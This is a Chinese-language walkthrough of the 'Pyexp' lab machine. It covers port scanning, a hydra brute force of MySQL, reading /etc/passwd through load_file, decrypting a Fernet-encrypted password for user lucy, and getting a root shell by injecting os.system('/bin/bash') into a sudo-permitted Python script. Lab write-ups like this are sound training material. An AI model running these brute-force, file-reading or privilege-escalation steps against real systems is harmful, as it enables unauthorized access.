

day06 Pyexp

1. 打开靶机可以得知靶机的ip为 192.168.111.139
2. 开放了1337和3306端口，使用 `nmap -sT -sV -O -p1337,3306 192.168.111.139` 扫描服务版本和系统版本，可以看到 ssh为OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)mysql为MySQL 5.5.5-10.3.23-MariaDB-0+deb10u1
3. 使用searchsploit发现都没有什么能直接拿到权限的漏洞
4. 使用 `hydra -l root -P /usr/share/wordlists/rockyou.txt -t 50 192.168.111.139 mysql` 破解mysql密码
5. 看一下有什么库

```
MariaDB [(none)]> show databases;
```

```
+-----+
| Database |
+-----+
| data     |
| information_schema |
| mysql    |
| performance_schema |
+-----+
```

先看看data库

```
MariaDB [(none)]> use data
```

取表名

```
Database changed
```

```
MariaDB [data]> show tables;
```

先看看第一个有没有什么东西，啥也没有，看看第二个 `select fennet;`，获得了两个字段

```
gAAAAABfMbX0bqWJTtDhKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLO
O_cHnJQF1_ibv14si1MbL7Dgt90dk8mKHAXLhyHZplax0v02MMzh_z_el7ys=
UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdVO=
```

6. 尝试用mysql打开密码文件

```
MariaDB [(none)]> select load_file('/etc/passwd')
```

(这里少输了一个;)

```
root@kali:~# cat /etc/passwd
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
lucy:x:1000:1000:lucy,,,:/home/lucy:/bin/bash
systemd-coredump.x:999:999:systemd Core Dumper,,,:/usr/sbin/nologin
sshd:x:105:65534::/run/ssh:/usr/sbin/nologin
mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false
```

这里有一个叫lucy的用户那么刚才那个秘钥有可能是登录这个用户的密码，但是那两个字符串我看不出来他是什么编码或者加密想起来它的字段名叫做fernet搜一下这是什么，发现是一种加密方式而解密的代码如下

```
pip install cryptography
```

Copy

```
from cryptography.fernet import Fernet
key = b'UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdVO='
token =
b'gAAAAABfMbX0bqWJTtDhKUYYG9U5Y6JGCPgEiLqmYIVlWB7t8gvsuayfhLOO
_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys='
f = Fernet(key)
f.decrypt(token)
```

Python

7. 解出来为lucy:wJ9`"Lemdv9[FEw-
8. ssh登录一下 `ssh lucy@192.168.111.139 -p 1337`
9. 登录成功第一个flag `8ca196f62e91847f07f8043b499bd9be`
10. `sudo -l` 获取root权限运行的文件
11. 发现一个python文件用这个文件可以执行命令那么执行一个提权命令

```
(root) NOPASSWD: /usr/bin/python2 /opt/exp.py
lucy@pyexp:~$ sudo /usr/bin/python2 /opt/exp.py
how are you?import os;os.system('/bin/bash')
import
os;os.system('/bin/bash')
```

12. a7a7e80ff4920ff06f049012700c99a8